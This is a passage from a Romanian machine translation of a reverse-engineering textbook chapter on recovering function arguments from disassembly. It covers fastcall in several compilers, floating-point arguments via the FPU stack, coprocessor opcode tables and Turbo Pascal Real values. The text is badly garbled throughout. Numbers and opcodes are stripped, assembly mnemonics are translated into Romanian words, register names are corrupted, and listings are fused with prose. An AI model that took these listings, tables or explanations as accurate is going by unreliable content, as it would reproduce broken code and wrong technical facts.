de apelul funcției, nici după ce a fost împins? Cu toate acestea, pentru a ; pentru a vă asigura de acest lucru în sfârșit, trebuie să vedeți de câți octeți de la ; stiva este eliminată de funcția apelată ; De asemenea, rețineți că valorile returnate de funcție ; strlen nu au fost stocate în variabilele locale, ci au fost transmise ; direct MyFunc Acest lucru sugerează că codul sursă ; programul arata asa: ; MyFunc(strlen(" "),&var ,strlen(" ")); ; Deși, totuși, nu este un fapt - compilatorul ar putea optimiza codul aruncând ; variabilă locală dacă nu este folosită altundeva in orice caz ; în primul rând, judecând după codul funcției apelate, compilatorul funcționează fără ; optimizare și, în al doilea rând, dacă valorile returnate de funcții ; strlen sunt folosite o singură dată ca argument ; MyFunc, apoi introducerea lor într-o variabilă locală este o mare prostie, ; doar ascunzând esenţa programului Mai mult, cercetătorul Pentru mai multe informații, consultați Capitolul , „Identificarea variabilelor stivei locale” Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; este important să nu restabiliți codul sursă original, ci să înțelegeți algoritmul acestuia împinge max push offset asc ; „%x\n” apelați printf adăugați esp, pop esi mov esp, ebp pop ebp ; Închideți cadrul stivei retn endp principal MyFunc proc lângă ; COD XREF: principal+ EÎp var = dword ptr - var = octet ptr - arg = dword ptr ; Funcția ia un singur argument, așa că acesta este ceea ce este ; EAX-ul împins pe stivă împinge ebp mov ebp, esp ; Deschiderea cadrului stivei sub esp ; Rezervăm opt octeți pentru variabilele locale mov[ebp+var ], edx ; Deoarece EDX este folosit fără inițializare explicită, evident ; al doilea argument al funcției din stânga este trecut prin ea ; (conform convenției fastcall a compilatorului Microsoft Visual C++) ; Din analiza codului funcției de apel, știm deja ; că un pointer către var este plasat în EDX, prin urmare, ; var conține acum un pointer către var mov [ebp+var ], cl ; Argumentul din stânga al funcției de tip char este trecut prin CL și imediat ; este stocat în variabila locală var movsx ex, [ebp+var ] ; Variabila var este extinsă la un int semnat mov ex, [ebp+var ] ; Registrul ECX este încărcat cu conținutul pointerului var trecut ; prin EDX Într-adevăr, după cum ne amintim, prin funcțiile EDX ; indicatorul a trecut adauga ex, [ex] ; Adăugăm EAX (stochează primul argument al funcției din stânga) cu conținutul ; locația de memorie indicată de pointerul ECX ; (al doilea argument din stânga) adăugați eax, [ebp+arg ] Capitolul Identificarea argumentelor funcţiei ; Și aici este apelul la argumentul funcției care a fost trecut prin stivă, mov esp, ebp pop ebp ; Închideți cadrul stivei retn ; Funcția a primit argument prin stiva MyFunc endp Doar? Doar! Apoi luați în considerare rezultatul Borland C++, care ar trebui să arate ca Lista : Lista Rezultatul compilării exemplului complex fastcall (Listarea - ) cu compilatorul Borland C++ ; int cdecl main(int argc,const char **argv,const char *envp) -proc principal lângă DATE XREF: DATE: To var = dword ptr - Argc = dword ptr Argv = dword ptr OCh Envp - dword ptr lOh împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ecx ; Salvează ECX Așteaptă! Acesta este ceva nou! În exemplele trecute ; Borland nu a salvat niciodată ECX când a introdus o funcție Seamănă foarte mult ; un argument a fost trecut prin funcția ECX și acum trece ; este o altă funcție prin stiva ; Din păcate, oricât de convingătoare ar părea o astfel de soluție, este greșită ; Compilatorul rezervă pur și simplu patru octeți pentru variabilele locale ; De ce? De unde vine? Vezi: IDA a recunoscut un local ; variabila var , dar memoria pentru aceasta nu a fost rezervată în mod explicit, în niciun caz ; cazul comenzii SUB ESP, nu a fost prezentă Așteptați, așteptați, dar PUSH ECX ; duce doar la o scădere a registrului ESP cu patru' ; Oh, această optimizare mov[ebp+var ], ; Setați variabila locală la push offset a ; s ; Trecem un pointer către șirul „ ” funcției strlen call strlen pop exp ; Scoate argumentul din stivă împinge max ; Aici - fie trecem valoarea returnată de funcția strlen ; funcția următoare ca argument de stivă sau salvați temporar EAX ; pe stivă (mai târziu se dovedește că ultima presupunere este adevărată) Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt push offset al ; s ; Trecem indicatorul la șirul „ ” la funcția strlen call strlen pop exp ; Scoate argumentul din stivă lea edx, [ebp+var ] ; Încărcăm offset-ul variabilei locale var în EDX pop esx ; Scoatem ceva din stivă, dar ce anume? Derularea ecranului ; dezasamblator, aflăm că EAX a fost împins pe ultima stivă, ; care conține valoarea returnată de funcția strlen(" ") ; Acum este plasat în registrul ECX ; (după cum ne amintim, Borland trece al doilea argument de la stânga prin el) ; În treacăt, remarcăm pentru fanii fastcall: acesta nu este întotdeauna un acord ; duce la accelerarea așteptată a apelurilor, - Intel x are prea puțin ; registre și trebuie să fie stocate pe stivă din când în când ; Transmiterea unui argument pe stivă ar necesita doar un apel: ; PUSH EAX Aici observăm două - PUSH EAX și POP ECX apelați MyFunc ; Când restaurați prototipul funcției, nu uitați de registrul EAX - acesta ; nu este inițializată în mod explicit, dar stochează valoarea returnată ultima ; sunând strlen Deoarece compilatorul Borland C++ x folosește ; următoarea listă de preferințe: EAX, EDX, ECX, putem concluziona că ; primul argument al funcției din stânga este transmis la EAX, iar celelalte două sunt transmise la EDX ; și, respectiv, ESC Rețineți, de asemenea, că Borland C++, ; spre deosebire de Microsoft Visual C++, tratează argumentele din ordine ; enumerarea lor și mai întâi calculează valorile tuturor funcțiilor, ; „tragerea”-le de la dreapta la stânga și abia apoi trece la variabile și ; constante Și acesta are propriul său bun simț - funcții ; schimba valoarea multor registre de uz general si, pana atunci ; până când nu este apelată ultima funcție, nu puteți începe transferul ; argumente prin registre împinge max push offset asc ,- format apelați printf adăugați esp, xor eax, eax ; Revenim nul pop ecx pop ebp ; Închideți cadrul stivei retn jnain endp MyFunc proc lângă C DE XREF: main+ Îp împinge ebp mov ebp, esp Capitolul Identificarea argumentelor funcției ; Deschiderea cadrului stivei movsx ex, al ; Extindem EAX la un cuvânt dublu semnat mov edx, (edx ] ; Încărcăm conținutul celulei de memorie în EDX, ; indicat de indicatorul EDX adauga ex, edx ; Adăugați primul argument al funcției la variabila int transmisă ; al doilea argument prin referință adaugă ex, eax ; Adăugați al treilea argument de tip int la rezultatul adăugării anterioare, mov eax, esx ; Punem rezultatul înapoi în EAX ; Compilator prost, nu ar fi mai ușor să rearanjezi argumentele ; echipa anterioară? pop ebp ; Închideți cadrul stivei retn MyFunc endp Și acum luați în considerare rezultatul compilării aceluiași exemplu cu compilatorul Watcom C, care are întotdeauna ceva de învățat (Listing ) main proc aproape ; COD XREF: СMaip+ Ір var C = dword ptr -OCh ; Variabila locala împinge h sunați CHK ; Verificarea depășirii stivei împinge ebx împinge ecx ; Salvarea registrelor modificate ; Sau poate rezervând memorie pentru variabilele locale? sub esp ; Aceasta este cu siguranță o rezervare explicită de memorie pentru un local ; variabilă, de unde cele două comenzi PUSH de mai sus ; păstrați registrele mov[esp+OCh+var C], ; Introducerea valorii în variabila locală mov eax, offset a ; " " Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt callstrlen ; Rețineți că Watcom transmite un pointer către funcția strlen ; string prin registru! mov ex, eax ; Valoarea returnată de funcție este copiată în registrul ECX ; Watcom știe că următorul apel la strlen nu corupă acest registru! mov eax, offset al ; "unu" callstrlen și eax, OFFh ; Deoarece strlen returnează un tip int, există un explicit ; conversie tip: int -> char mov ebx, esp ; Un pointer către variabila var C este introdus în EBX apelați MyFunc ; Ce argumente au fost transmise funcției? În primul rând, EAX - probabil ; argumentul din stânga, în al doilea rând, EBX este inițializat în mod explicit ; înainte de apelul funcției și, foarte probabil, ECX, deși acesta din urmă nu este ; neapărat ECX poate conține și o variabilă de registru, dar în aceasta ; caz, funcția apelată nu ar trebui să o acceseze împinge max push offset asc A ; „%x\n” sunați la pnntf adăugați esp, adăugați esp, ; De asemenea, ei spun că WATCOM este un compilator de optimizare! Și iată două ; comenzi să se combine într-una singură, vai, nu putea! pop esx pop ebx retn main endp MyFunc proc lângă C DE XREF: main + Îp apăsați sunați CHK ; Verificarea stivei și eax, OFFh ; Re-zeroarea celor de biți cei mai semnificativi Watcom ar trebui ; decide: unde se efectuează această operație - în apelul sau ; funcția de apelare, dar o astfel de duplicare simplifică ; restaurarea prototipurilor de funcții adăugați eax, [ebx] ; Adăugarea valorii EAX de tip char și acum extinsă la int cu o variabilă Capitolul Identificarea argumentelor funcției ; de tip int trecut prin referință prin registrul EBX adauga ex, ex ; Da, aici este un apel către ECX, - prin urmare, acest registru ; folosit pentru a transmite argumente retn ; Deci prototipul funcției ar trebui să arate astfel: ; MyFunc(car EAX, int *EBX, int ECX) ; Vă rugăm să rețineți că a fost posibil să-l restaurați numai prin îmbinare ; analiza funcțiilor de apelare și de apelare! MyFunc endp Transmiterea valorilor reale În cea mai mare parte, declanșatorii de coduri nu sunt foarte buni la aritmetica reală, evitând-o ca focul Între timp, nu este nimic super complicat și poți stăpâni controlul coprocesorului în doar una și jumătate până la două zile Este adevărat că bibliotecile de matematică în virgulă mobilă sunt mult mai greu de tratat, mai ales dacă IDA Pro nu le recunoaște numele funcțiilor, dar ce compilator folosește bibliotecile în zilele noastre? Microprocesorul și coprocesorul sunt montate pe același cip, iar coprocesorul, începând cu DX, este întotdeauna disponibil, deci nu este nevoie să recurgeți la emularea sa software Până la sfârșitul anilor ai secolului trecut, printre hackeri exista o părere că îți poți trăi toată viața fără să întâlnești vreodată aritmetica reală Într-adevăr, pe vremurile bune, procesoarele nu erau cu nimic inferioare broaștelor țestoase în încetineala lor, nu toată lumea avea coprocesoare, iar sarcinile cu care se confruntă computerele permiteau (nu fără trucuri, totuși) soluții în aritmetică întregi Astăzi, totul s-a schimbat dramatic Calculele în virgulă mobilă efectuate de coprocesor în paralel cu programul principal sunt chiar mai rapide decât calculele întregi efectuate de procesorul principal Iar programatorii, inspirați de această perspectivă, au început să folosească tipuri de date reale chiar și acolo unde cele întregi erau mai mult decât suficiente înainte De exemplu, dacă a=b/c* , atunci schimbând ordinea evaluării în a=b*ioo/c, ne putem descurca și cu tipurile int Este foarte dificil pentru cercetătorii moderni de programe să facă fără să cunoască instrucțiunile coprocesorului Coprocesoarele x acceptă trei tipuri de date reale: scurte de de biți, lungi de de biți și extinse de de biți, corespunzătoare următoarelor tipuri de limbaj C: float, double și long double Informațiile de bază despre tipurile de date reale ale coprocesoarelor x sunt date în tabel Tabelul Informații de bază despre tipurile reale de coprocesoare x Tip Mărime Interval de valori Tipuri de transfer preferate float octeți ' , + registre CPU, stivă CPU, stivă FPU dublu octeți Yu' + registre CPU, stivă CPU, stivă FPU lung dublu octeți ' , + stivă CPU, stivă FPU real octeți , x 'ze , x* + registre CPU, stivă CPU, stivă FPU Atenție! Standardul ANSI C nu stipulează reprezentarea exactă a tipurilor de date de mai sus, iar această afirmație este valabilă numai pentru platforma PC și chiar și atunci nu pentru toate implementările de tip Turbo-Pascal Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt Argumentele de tip float și double pot fi transmise funcției în trei moduri diferite: prin registrele de uz general ale procesorului principal, prin stiva procesorului principal și prin stiva de coprocesor Argumentele de tip long double ar necesita prea multe registre de uz general pentru a fi trecute, astfel încât în marea majoritate a cazurilor acestea sunt împinse pe procesorul principal sau stiva de coprocesoare Primele două metode de transmisie ne sunt deja familiare, dar a treia este ceva nou! Coprocesorul x are opt registre de de biți, notate st( ), st( ), st( ), st(h), st( ), st( ), st( ) și st( ) ), organizate în formă de stivă de inele Aceasta înseamnă că majoritatea instrucțiunilor coprocesorului nu funcționează pe numere de registru, ci folosesc partea de sus a stivei ca destinație (sursă) De exemplu, pentru a adăuga două numere reale, trebuie mai întâi să le împingeți pe stiva coprocesorului și apoi să apelați instrucțiunea de adăugare, care adaugă cele două numere din partea de sus a stivei și returnează din nou rezultatul muncii sale prin stivă Este posibil să adăugați un număr pe stiva coprocesorului cu un număr în RAM, dar nu este posibil să adăugați direct două numere din RAM! Astfel, prima etapă a operațiunilor cu tipuri reale este împingerea acestora pe stiva de coprocesoare Această operație este efectuată prin comenzi din seria fldxx, enumerate cu scurte explicații în Tabel În majoritatea covârșitoare a cazurilor, este folosită instrucțiunea sursă fld, care împinge un număr real din registrul RAM sau coprocesor în stiva coprocesorului Strict vorbind, aceasta nu este o singură comandă, ci o familie de patru comenzi cu opcodes xD x ?, Oxdd x ?, Oxdb x ? și xD OxCi, concepute pentru a încărca tipuri scurte, lungi, extinse și, respectiv, registrul FPU Aici ? este un câmp de adresă care specifică dacă operandul este în registru sau în memorie, iar i este indexul registrului FPU Incapacitatea de a încărca numere reale din registrele CPU face inutilă utilizarea lor pentru a transmite argumente de tip float, double sau long double În ambele cazuri, pentru a împinge aceste argumente în stiva de coprocesor, funcția apelată va trebui să copieze conținutul registrelor în memoria principală Vă place sau nu, nu puteți scăpa de accesul la memorie De aceea, transferurile de registre de tipuri reale sunt extrem de rare, iar în marea majoritate a cazurilor, ele, ca și argumentele obișnuite, sunt trecute prin stiva de procesor principal sau prin stiva de coprocesor Notă Doar compilatoarele avansate, în special Watcom, sunt capabile să treacă argumente prin stiva de coprocesoare, dar nu Microsoft Visual C++ și Borland C++ Cu toate acestea, unele valori „selectate” pot fi încărcate fără acces la memorie În special, există comenzi pentru împingerea numerelor zero, unu, n și altele în stiva coprocesorului - lista completă este dată în Tabelul O caracteristică interesantă a coprocesorului este suportul pentru operațiuni cu calcule întregi Compilatorii nu folosesc această caracteristică, dar această tehnică se găsește uneori în inserțiile de asamblare, așa că nu trebuie să neglijați studiul instrucțiunilor întregi ale coprocesorului Tabelul Comenzile de bază ale coprocesorului utilizate pentru a transmite/primi argumente Scopul comenzii Sursă FLD Împinge un număr real de la sursă în partea de sus a stivei de coprocesor Chiuvetă FSTP Afișează un număr real din partea de sus a stivei de coprocesor la chiuvetă Destinație FST Copiază un număr real din partea de sus a stivei de coprocesor la destinație FLDZ Apăsați zero în partea de sus a stivei de coprocesoare Capitolul Identificarea argumentelor funcţiei Tabelul (sfârșit) Scopul comenzii FLD Împingeți unul în partea de sus a stivei de coprocesoare FLDPI Împingeți un număr de tts în partea de sus a stivei de coprocesor FLDL T Împingeți logaritmul binar de zece în partea de sus a stivei de coprocesor FLDL E Împingeți logaritmul binar al lui e în partea de sus a stivei de coprocesor FLDLG Împingeți logaritmul de doi al coprocesorului FLDLN Împinge logaritmul natural al lui doi Sursă FILD Împinge un număr întreg de la sursă în partea de sus a stivei de coprocesor Destinație FIST Copiază un număr întreg din partea de sus a stivei de coprocesor la destinație FISTP sink Afișează un număr întreg din partea de sus a stivei de coprocesor la chiuvetă Sursă FBLD Împinge un număr zecimal de la destinație în partea de sus a stivei de coprocesor FBSTP sink Copiază un număr zecimal din partea de sus a stivei de coprocesoare în receptor FXCH ST(index) Schimb de valori între partea superioară a stivei de coprocesor și registrul ST(index) Tipurile dublu și dublu lung ocupă mai mult de un cuvânt de mașină și sunt trecute prin stiva procesorului principal în mai multe iterații Aceasta duce la faptul că analiza codului funcției apelante nu permite întotdeauna să se determine numărul și tipul de argumente transmise funcției apelate Calea de ieșire este studierea algoritmului funcției numite Deoarece coprocesorul nu poate determina independent tipul operandului situat în memorie (adică nu știe câte celule ocupă), fiecărui tip i se atribuie propria instrucțiune Sintaxa limbajului de asamblare ascunde aceste diferențe, permițând programatorului să abstragă subtilitățile implementării (și se spune că asamblarea este, de asemenea, un limbaj de nivel scăzut) Prin urmare, puțini oameni știu că fadd [float] și fadd [double] sunt instrucțiuni diferite ale mașinii cu opcodes xD ?? ??? și, respectiv, OxDC ??ooo??? Vesti proaste! Analiza listei dezasamblatoare nu oferă nicio informație despre tipurile reale, așa că pentru a obține aceste informații trebuie să coborâți la nivelul mașinii, săpat în depozitele de instrucțiuni hexazecimale În tabel arată codurile operaționale ale comenzilor principale ale coprocesorului care funcționează cu memorie Vă rugăm să rețineți că operațiile matematice directe nu sunt posibile cu valori reale de tip dublu lung - acestea trebuie mai întâi încărcate pe stiva de coprocesor Tabelul Opcodes ale comenzilor principale ale coprocesorului Al doilea octet al codului operațional este reprezentat în formă binară Semnul de întrebare reprezintă orice bit Tip de comandă scurt (plutitor) lung (dublu) extins (lung dublu) FLD xD ?? ??? OxDD ?? ??? OxDB?? ??? FSTP xD ?? ??? OxDD ?? ??? OxDB ?? ??? FST xD ?? ??? OxDD ?? ??? Nu FADD xD ?? ??? OxDC ?? ??? Nu FADDP OxDE?? ??? OxDA?? ??? Nu FSUB xD ?? ??? OxDC ?? ??? Nu FDIV xD ?? ??? OxDC ?? ??? Nu FMUL OxD* ?? ??? OxDC?? ??? Nu FCOM xD ?? ??? OxDC ?? ??? Nu FCOP xD ?? ??? OxDC ?? ??? Nu Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt O notă despre tipurile reale în Turbo Pascal Tipurile reale ale limbajului C, datorită orientării sale pe mașină, coincid cu tipurile reale ale coprocesorului, ceea ce este logic Principalul tip real de Turbo Pascal - Real, are octeți și este nenatural pentru mașină Prin urmare, atunci când calculând prin coprocesor, este tradus programatic în tipul Extended (dublu lung în termeni de C ) Acest lucru reduce semnificativ performanța, dar, din păcate, biblioteca matematică încorporată, concepută pentru a înlocui coprocesorul, nu suportă alte tipuri În prezența unui coprocesor „în direct”, apar tipurile pur de procesor Single, Double, Extended și Comp, corespunzătoare float, double, long double și int Funcțiile bibliotecii matematice, care oferă suport pentru calcule în virgulă mobilă, argumentele reale sunt trecute prin registre Primul argument din stânga este plasat în ax, bx, dx, iar al doilea argument (dacă există) este plasat în stiva cx, SI, di coprocesor În cele din urmă, funcțiile și procedurile aplicației primesc argumente reale prin stiva procesorului principal În funcție de setările compilatorului, programul poate fi compilat fie folosind biblioteca matematică încorporată (implicit), fie apelând direct comenzile coprocesorului (tasta și $+) În primul caz, programul nu folosește deloc capabilitățile coprocesorului , chiar dacă este instalat pe mașină În al doilea caz, dacă există un coprocesor, programul îi atribuie toate capacitățile de calcul, iar dacă nu există un coprocesor, atunci o încercare de a apela comenzi ale coprocesorului duce la generarea procesorului principal o excepție int x Este „prins” de emulatorul software al coprocesorului - de fapt, aceeași bibliotecă încorporată pentru suportarea calculelor în virgulă mobilă Ei bine, acum avem o idee aproximativă despre cum funcționează argumentul real și suntem dornici să vedem cum se întâmplă „în direct” Să începem cu exemplul trivial prezentat în Lista : Lista Demonstratie^yacered^ functii ale argumentelor reale #include float MyFunc (float a, double b) { #dacă este definit WATCOMC ) #pragma aux MyFunc parm[ ]; // Compilați cu comutatorul - #endif returnează a+b; ) principal() { printf("%f\n",MyFunc( , )); Compilarea acestui exemplu cu Microsoft Visual C++ ar trebui să arate ca Lista - : Lista J Rezultatul compilației care demonstrează trecerea funcției ^essential var^vntov, spYrshch^M^'ar^ED" Ts^ ++; ' proc principal lângă C DE XREF: start+AF^p var = qword ptr - ; O variabilă locală care pare a fi de octeți împinge ebp Capitolul Identificarea argumentelor funcţiei mov ebp, esp ; Deschiderea cadrului stivei împingeți F Ah ; Din păcate, IDA Pro nu poate reprezenta operandul ca număr cu ; punctul de plutire În plus, nu avem cum să stabilim ce este ; doar un număr real Tipul său poate fi orice: atât int, cât și ; pointer (apropo, este foarte asemănător cu un pointer) apăsați E AE h împingeți D EB h ; Versiunea „schiță” a prototipului arată astfel: MyFunc(int a, int b, int c) apelați MyFunc adăugați esp, ; Doar un cuvânt mașină este scos din stivă, în timp ce ; pune in trei! fstp [esp+ +var ] ; Extragem un număr real din stiva de coprocesoare La ; pentru a afla care dintre ele, va trebui să apăsați + , selectați în câmpul deschis ; elementul de meniu „Reprezentare text”, iar în fereastra deschisă „Număr de ; opcode octeți" indică câte spații de familiaritate sunt alocate pentru comanda opcode, ; de exemplu, Imediat în stânga FSTP apare mașina acestuia ; reprezentare - DD C Conform tabelului , determinăm tipul de date, cu ; operat de echipa Acesta este un dublu Prin urmare, funcția ; a returnat o valoare în virgulă mobilă prin stiva de coprocesor ; Deoarece funcția returnează valori reale, este foarte posibil ca aceasta ; și le ia drept argumente Cu toate acestea, fără a analiza MyFunc ; este imposibil de confirmat această presupunere push offset aF ,- "%f\n" ; Trecem indicatorul către șirul de specificatori la funcția printf, ; instruindu-i să scoată un număr real Dar în același timp, noi ; nu pune pe stivă Cum așa?! Derulați în sus fereastra dezasamblatorului, ; în paralel cu aceasta, luând în considerare toate modalitățile posibile de rezolvare a situației ; Luând în considerare cu atenție comanda „FSTP [ESP+ +var ]”, să încercăm ; află unde pune ea rezultatul muncii ei ; IDA a definit var ca „qword ptr - ”, prin urmare [ES+ - ] ; este echivalent cu [ESP], adică o variabilă reală este contractată direct ; spre vârful stivei Ce avem noi în vârf? Au trecut două argumente ; MyFunc nu a fost niciodată scos din stivă Ce compilator viclean El nu ; a început să creeze o variabilă locală, dar a folosit argumentele funcției ; pentru stocarea temporară a datelor sunați la pnntf adăuga esp, OCh ; Scoate trei cuvinte-mașină din stivă pop ebp retn endp principal MyFunc proc lângă C DE XREF: sub + Îp var = dword ptr - Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt arg O = dword ptr arg = qword ptr OCh ; Ne uităm - IDA a găsit doar două argumente, în timp ce funcțiile ; au fost transmise trei cuvinte mașină! Se pare că unul dintre argumente ; durează octeți împinge ebp mov ebp, esp ; Deschiderea cadrului stivei împinge ex ; Nu, aceasta nu este salvarea ECX - aceasta este rezervarea memoriei pentru local ; variabilă, deoarece în locul în care se află ECX-ul salvat, există ; variabila var fld(ebp+arg ] ; Tragem pe stiva de coprocesoare o variabilă reală care se află de-a lungul ; adresa [ebp+ ] (primul argument din stânga) Pentru a afla tipul asta ; variabilă, uită-te la codul operațional al instrucțiunii FLD - D Da, D înseamnă ; pluti Se pare că primul argument din stânga este un plutitor fadd [ebp+arg ] ; Se adaugă float arg la al doilea argument de tip din stânga Tu ; Crezi că, din moment ce primul a fost un flotor, atunci va fi și al doilea flotor? ; Și aici este și nu neapărat! Ne uităm la opcode - DC OS, ceea ce înseamnă al doilea ; argumentul este de tip double, nu float! fst[ebp+var ] ; Copiați valoarea din partea de sus a stivei de coprocesor ;(rezultatul adunării se află acolo) în variabila locală var ; Pentru ce? Ei bine nu se știe niciodată, dintr-o dată ar fi necesar? ; Atentie - valoarea nu este contractata, ci copiata! Acestea aceasta ; rămâne încă pe stivă Deci, prototipul funcției MyFunc ; arăta astfel: dublu MyFunc(float a, double b); mov esp, ebp pop ebp ; Închideți cadrul stivei retn MyFunc endp Deoarece rezultatul compilării exemplului de mai sus folosind Borland C++ l este aproape identic cu rezultatul obținut folosind Microsoft Visual C++ x, nu vom pierde timpul cu el și vom trece imediat la analizarea rezultatelor compilării acestui exemplu folosind Watcom C (lista ) Ca întotdeauna, Watcom are multe de învățat i Lista J Rezultatul compilării unui exemplu care demonstrează funcția de transmitere a argumentelor venfst- • = venă folosind Watcom C main proc lângă C DE XREF: CMain+ Îp var = qword ptr - ; variabilă locală de octeți Apăsaţi h Capitolul Identificarea argumentelor funcției sunați la SNK ; Verificarea depășirii stivei fld ds:dbl ; Aruncăm o variabilă de tip double în partea de sus a stivei de coprocesoare, ; luate din segmentul de date ; Tipul variabilei a fost determinat cu succes chiar de IDA, precedat de un prefix ; 'dbl' A dacă nu ar fi fost definit, atunci ne-am fi întors ; la codul operațional al comenzii FLD fld ds:flt ; Aruncăm o variabilă de tip float în partea de sus a stivei de coprocesor apelați MyFunc ; Numim MyFunc trecând două argumente prin stiva de coprocesor, ; deci prototipul său arată astfel: MyFuncffloat a, double b) sub esp ; Rezervăm spațiu pentru o variabilă de dimensiune locală de octeți fstp [esp+ +var ] ; Popping un tip dublu real din partea de sus a stivei ; (tipul este determinat de mărimea variabilei) push offset unk suna printf ; Da, trucul deja familiar de a trece var la printf' adăuga esp, OCh retn main endp MyFunc proc lângă C DE XREF: main + Îp var C = qword ptr -OCh var = dword ptr - ; IDA a găsit două variabile locale apăsați ore sunați la CHK sub esp, OCh ; Rezervați spațiu pentru variabilele locale fstp [esp+ Ch+var ] ; Apariția unei valori float din partea de sus a stivei de coprocesor ; (După cum ne amintim, a fost adus acolo ultimul) ; Pentru orice eventualitate, totuși, puteți verifica acest lucru uitându-vă la opcode ; Comenzi FSTP - D C Ei bine, dacă xD , atunci este cu siguranță un float fstp [esp+ Ch+var C] ; Scoaterea unei valori reale de tip dublu din partea de sus a stivei FPU ; (după cum ne amintim, a fost introdus acolo înainte de plutire) ; Pentru orice eventualitate, ne asigurăm de acest lucru uitându-ne la opcode-ul comenzii FSTP ; Așa este - DD C OxDD - din moment ce OxDD, atunci, într-adevăr, dublu fld [esp+ Ch+var ] Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt ; Ne tragem plutitorul înapoi în partea de sus a stivei și fadd [esp+OCh+var C] ; adăugați-l la dublul nostru Aici, și mai spun că WATCOM C - ; optimizarea compilatorului! Este dificil să fii de acord cu acest lucru, deoarece compilatorul ; nu stie ca suma nu se schimba din rearanjarea termenilor! adăuga esp, OCh ; Eliberăm memoria alocată anterior pentru variabilele locale retn MyFunc endp dbl dq , ; DATE XREF: main +Atr flt dd , ; DATE XREF: main -rlOîr A venit rândul compilatorului Turbo Pascal pentru Windows Să introducem în editorul de text exemplul prezentat în Lista - ! Listarea ^" * * Demonstrații ale „transferului de avertismente ale valorilor de către compilatorul Pascal Tribo - UTILIZAȚI WINCRT; ProcedureMyProc(a:Real) ,- ÎNCEPE ScrieLn(a); Sfârşit; VAR a: Real; b: Real; ÎNCEPE a:= , ; b:= , ; MyProc(a+b); SFÂRŞIT Acum să-l compilam fără suport pentru coprocesor (așa se întâmplă cu setările implicite) Rezultatul compilației este afișat în Lista • Lista , rezultatul compilării exemplului din Lista ; c fără suport pentru coprocesor PROGRAM PROC aproape sunați la INITTASK apel @ SystemInit$qv ; SystemInit(void) ; Inițializarea modulului SYSTEM sunați la @WINCRTInit$qv ; WINCRTInit(void) ; Inițializarea modulului WINCRT împinge bp mov bp, sp ; Deschiderea cadrului stivei Capitolul Identificarea argumentelor funcţiei hog ah ah apelați @ StackCheck$q Word ; verificarea depășirii stivei (TOPOR) ; Verificăm dacă există zero octeți liberi pe stivă, chiar dacă sunteți mov word , EC h mov word , B h mov word , Eh ; Inițializam o variabilă de tip Real Ce este exact noi încă, ; desigur, știm doar din codul sursă al programului vizual; este imposibil să distingem această serie de comenzi de cele trei variabile de tip Word mov word , D h mov word , D Ah mov word A, A h ; Inițializam o altă variabilă de tip Real mov ax, word mov bx, word mov dx, word mov cx, word mov si, word mov di, word A ; Trecem două variabile de tip Real prin registre apelează la @$brplu$q Realtl ; Real(AX:BX:DX)+-Real(CX:SI:DI) ; Din fericire, IDA a „recunoscut” operatorul de adăugare în această funcție și chiar ; ne-a dat un prototip ; Fără ajutorul ei, cu greu am fi putut înțelege exact ce anume ; funcție lungă și confuză împinge dx împinge bx împinge toporul ; Trecem valoarea returnată procedurii Murgos prin stivă, ; prin urmare, prototipul său arată astfel: AîyProc (а: Real) sunați pe Murgos pop bp ; Închideți cadrul stivei hog ah ah apelează la @Halt$q Word ; Oprire (Cuvânt) ; Întrerupem execuția programului PROGRAM endp Murgos proc lângă C DE XREF: PROGRAM+ CÎp arg = cuvântul ptr arg = cuvântul ptr arg = cuvântul ptr ; Cele trei argumente trecute în procedură, după cum am aflat deja, sunt de fapt ; sunt trei „slice” ale unui argument de tip Real Partea a III-a Identificarea structurilor cheie ale limbajelor de nivel înalt împinge bp mov bp, sp ; Deschiderea cadrului stivei xor ax, ax sunați la @ StackCheck$q Word ; Verificare depășire a stivei (AX) ; Există un site nul în stivă? mov di, offset unk împinge ds împinge di ; Apăsați un indicator către buffer pentru a scoate șirul în stivă apăsați [bp+arg ] apăsați [bp+arg ] apăsați [bp+arg ] ; Împingeți toate cele trei argumente primite în stivă mov ax, llh împinge toporul ; Lățimea de ieșire este de caractere movax, OFFFFh împinge toporul ; Numărul de puncte după virgulă zecimală — max sunați la @Write$qm Text Real Wordt , Writefvar f, v: Real; lățime, zecimale: cuvânt) ; Afișăm un număr real în buffer-ul unk apelează la @WriteLn$qm Text ; WriteLn(var f: Text) ; Tipărim șirul din buffer pe ecran sunați la @IOCheck$qv ; ieșire dacă eroare pop bp retn MyProc endp Acum, folosind comutatorul / $N+, vom folosi comenzile coprocesorului și vom vedea cum afectează acest cod codul (Listing ) ; Lista Rezultatul compilării exemplului din lista - cu suport pentru coprocesor PROGRAM PROC aproape sunați la INITTASK apelați @ Systemlnit$qv) ; SystemInit(void) ; Inițializam sistemul sunați la @ InitEM $qv ; Inițializați emulator software ; Folosim emulatorul de coprocesor apelează @ WINCRTInit$qv ; WINCRTInit(void) ; Inițializam modulul WINCRT împinge bp Capitolul Identificarea argumentelor funcției mov bp, sp ; Deschiderea cadrului stivei hog ah ah apelați @ StackCheck$q Word ; Verificare depășire a stivei (AX) ; Verificarea depășirii stivei mov cuvânt C , EC h mov cuvânt C , B h mov cuvânt C , Eh mov cuvânt C , D h mov cuvânt C , D Ah mov word CA, A h ; Până acum, nu putem determina tipul de variabile inițializate ; Poate fi la fel de bine CUVÂNT și Real mov ax, word C mov bx, cuvânt C mov dx, cuvânt C apelează la @Extended$q Real ; Convertiți real în extins ; Și acum trecem cuvântul C , cuvântul C și cuvântul C la funcții, ; conversia Real în Extended cu încărcarea acestuia din urmă în stiva de coprocesor, ; deci cuvânt C - cuvânt C este o variabilă de tip Real mov ax, word C mov bx, cuvânt C mov dx, word CA apelează la @Extended$q Real ; Convertiți real în extins ; În mod similar - cuvânt C - cuvânt CA - variabilă de tip Real aștepta ; Așteptăm până când coprocesorul își termină munca faddp st( ), st ; Adăugați două numere extinse în partea de sus a stivei ; coprocesor, cu rezultatul stocat pe aceeași stivă apelează @Real$q Extended ; Convertiți extins în real ; Convertiți extins în real ; Argumentul este trecut prin stiva de coprocesor și revenit la ; înregistrează AX BX DX împinge dx împinge bx împinge toporul ; Registrele AX, BX și DX conțin o valoare de tip Real, ; deci prototipul procedurii arată astfel: ; 